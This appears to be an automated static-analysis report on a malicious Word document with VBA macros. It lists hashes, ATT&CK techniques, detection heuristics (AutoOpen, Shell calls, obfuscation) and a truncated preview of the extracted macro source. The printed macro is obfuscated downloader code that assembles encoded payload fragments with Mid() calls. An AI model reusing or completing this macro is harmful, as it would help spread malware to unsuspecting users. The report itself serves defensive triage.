Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbdbe2bf74d0aeb7…

MALICIOUS

Office (OLE)

70.5 KB Created: 2017-10-17 06:11:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: e6d2bc6f7978dcd46ec1e79c24d5e3be SHA-1: df21ff2c5d01088c4986e6201125985de2381908 SHA-256: cbdbe2bf74d0aeb7e47be9244266cef33446e3954a941df8ff47e8f06a39b47a
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro and Shell() calls indicate an attempt to execute arbitrary code. The obfuscated script suggests it is designed to download and execute a secondary payload, aligning with common malware delivery techniques.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11006 bytes
SHA-256: ae5a91c76882900bcba9afc5bf3b41890dd7d168ec678d7cd97c2e0432a53d48
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 31 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub vOBUpAXks()
SHvLLnQjK = "7CGRA503YJ90S1MBVN9U6AyACwAIAA1ADgALAA0ADcAIAAsADQANwAgACwAMQAwADkAIAAsACAAMQAyADEALAAxADAAOQAgACwAIAA5ADcAIAAsADkAOQAsADEAMAA0ACAALAAgADEAMAA1ACwAIAAxADEAMAAsADEAMAAxACAALAAxADEANAAgACwAIAAxADIAMQAsACAANAA2ACAALAAgADkAOQAgACwAOQA3ACAATBLQE910R9TYCP"
zWwHiscz = Mid(SHvLLnQjK, 22, 214)
TCzSpYvTH = zWwHiscz
pqLORtzn = "2N0D2DV8HGZU28SMI3ADTMCEAMAA4ACwAIAAxADAANQAgACwAMQAwADEALAAxADEAMAAsACAAMQAxADYALAAzADIALAAgADYAMQAsACAAMwAyACAALAAxADEAMAAgACwAMQAwADEALAAgADEAMQA5ACwANAA1ACwAIAAxADEAMQAgACwAIAA5ADgAIAAsADEAMAA2ACAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAIAAxADIAMQAgACwAMQAxADUALAAxADEANgAgACwAIAAxADAAMQAMIXDQN7GPBMUUKC"
BaWiFTV = Mid(pqLORtzn, 24, 277)
RDbNAzcStRQ = BaWiFTV
bjGYMDsY = "5WXDMQF88M7KHT2NZV54147ADEANQAsADEAMQA2ACwAIAAzADIALAAgADMANgAgACwAIAA5ADUAIAAsACAANAA2ACAALAA2ADkALAAgADEAMgAwACwAOQA5ACAALAAxADAAMQAXR7G9K"
iWqBFzjbtP = Mid(bjGYMDsY, 24, 111)
INzZdIzM = iWqBFzjbtP
GFbCGXvBJ = "BO7GMP7T4SS3CHW8CEAIAAsADkAOQAsACAAMQAxADYAIAAsACAAMwAyACwAMQAxADQALAAgADkANwAgACwAMQAxADAAIAAsACAAMQAwADAAIQ9VKJ272E8JU1XEVDT4R"
FdhsRLwwmb = Mid(GFbCGXvBJ, 18, 90)
HtEnEV = FdhsRLwwmb
JDINIw = "K9670J7X5P6OQ08DJS1XESR3L5sACAAMQAxADkALAAgADEAMQAwACwAMQAwADgAIAAsADEAMQAxACwAIAA5ADcAIAAsACAAMQAwADAALAA3ADAAIAAsACAAMQAwADUAIAAsADEAMAA4ACAALI2Y0HS"
rZzkmGvfz = Mid(JDINIw, 27, 118)
MhhijS = rZzkmGvfz
TMHCUVdZl = "B7QHJBAJKV85GUQEYKE2AwADMALAA5ADkALAAgADEAMQAzACwAMQAwADEALAA2ADUAIAAsACAANAA3ACwAIAA0ADQAIAAsACAAMQAwADQALAAxADEANgAgACwAIAAxADEANgAsADEAMQDE"
PVpRdKRYpt = Mid(TMHCUVdZl, 21, 120)
GPmuIZNAiwr = PVpRdKRYpt
WASjmMzV = "WT9KY3FRACAAMQAxADQAIAAsACAAMQAwADEAIAAsADkANwAgACwAIAA5ADkALAAxADAANAAsACAANAAwACAALAAgADMANgAsACAAMQAxADcAIAAsACAAMQAxADQAIAAsACAAMQAwADgAIAAsACAAMwAyACAALAAxADAANQAgACwAMQAxADAAIK6LR9YG"
LvPZHq = Mid(WASjmMzV, 9, 173)
LLWcDmhM = LvPZHq
YfjUDfGolX = "POSVAxADAAIAAsADEAMQA2ACAALAA1ADkAIAAsADMANgAgACwAIAAxADEANAAgACwAOQA3ACAALAAxADEAMAAsACAAMQAwADAALAAxADEAMQAsADEAMAA5ACwAMwAyACAALAAgADYAMQAsACAAMwAyACAALAAgADEAMQAwACAALAAgADEAMAAxACAALAAgADEAMQA5ACwAIAA0ADUALAAxADEAMQAsACAAOQA4ACAALAAxADAANgAsACAAMQAwAD3O4XJ286AK5"
KVkSFZW = Mid(YfjUDfGolX, 5, 252)
ivJnMozzuz = KVkSFZW
pBDjmD = "5P3D4WP36NZELAAgADMAOQAsACAANAA2ACwAOAAzACAALAAxADEAMgAgACwAIAAxADAAOAAgACwAIAAxADAANQAsADEAMQA2ACwAIAA0ADAAIAAsADMAOQAgACwANAA0ACwAIAAzADkAIAAsADQAMQAsADUAOQAgACwAIAAzADYAIAAsIVAW1APBV6Y1W7D12O"
PZkLCTK = Mid(pBDjmD, 13, 164)
mwZqbQjiAwz = PZkLCTK
vJSCi = "N2DGUGEB8I7BLJ20SUIRQ37AwACwANAA2ACwANwA3ACwAMQAwADEALAAxADEANQAgACwAIAAxADEANQAsACAAOQA3S"
cWENaGsTNl = Mid(vJSCi, 24, 65)
QwmZCmQqKu = cWENaGsTNl
nPasuQF = "516XA38EKUIBLPSJWN8X4HCMgAgACwAMQAxADYAIAAsADQANwAsACAANAA0ACwAMQAwADQAIAAsACAAMQAxADYAIAAsADEAMQA2ACwAMQAxADIALAA1ADgALAAgADQANwAsACAANAA3ACAALAA5ADkAIAAsADEAMAA0ACAALAAxADEAMQAsADEAMQA0ACwAIAAxADEANwAgACwAIAAxAD5GCACUH0KAAI93"
utFZoP = Mid(nPasuQF, 24, 190)
dApktJ = utFZoP
DpJncIMDK = "PRID30gACwAIAAxADEAMgAsACAAMQAxADYAIAAsADEAMAA1ACAALAAgADEAMQAxACAALAAgADEAMQYVTO1HS7K3VNU58AS21"
MoGRF = Mid(DpJncIMDK, 7, 71)
zEDIklLVv = MoGRF
UrLnBTs = "7SJ5YAVOLR5BV0C82FHQNB443TCAAsADMV9ZJTH"
FjbMcNQE = Mid(UrLnBTs, 28, 6)
MuqrNwfp = FjbMcNQE
DiXzISmo = "JEDO9I2NOTDTKJQA1ACAALAAgADMAMgAsACAAMwA2ACwAIAAxADEAMgAgACwAIAA5ADcALAAgADEAMQA2ACwAMQAwADQALAA1ADkAIAAsADkAOAAsADEAMQA0ACwAIAAxADAAMQAgACwAOQA3ACAPTKT0HO9N5S782GEWJRV"
ZFNjSoPnd = Mid(DiXzISmo, 15, 134)
jjJSkhGkThq = ZFNjSoPnd
fWjNHSfrU = "GLDLNMWILAAgADQANwAgACwAIAA3ADIALAAgADYAOAAsADkAOQAgACwANwAwACAALAAgADEAMgQ9"
OwuPmP = Mid(fWjNHSfrU, 9, 66)
hSGrX = OwuPmP
BCwjmUja = "8Q1872WUAgADEAMAA1ACwAMQAxADIALAAxADEANgAgACwAIAAzADIALAA2ADEALAAgADMAMgAgACwAIAAxADEAMAAgACwAIAAxADAAMQAsADEAMQA5ACAALAA0ADUALAAgADEAMQAxACAALAAgADkAOAAgACwAIAAxADAANgAgACwAIAAxADAAMQAgACwAVUD1RF"
WfCrjnnI = Mid(BCwjmUja, 9
... (truncated)

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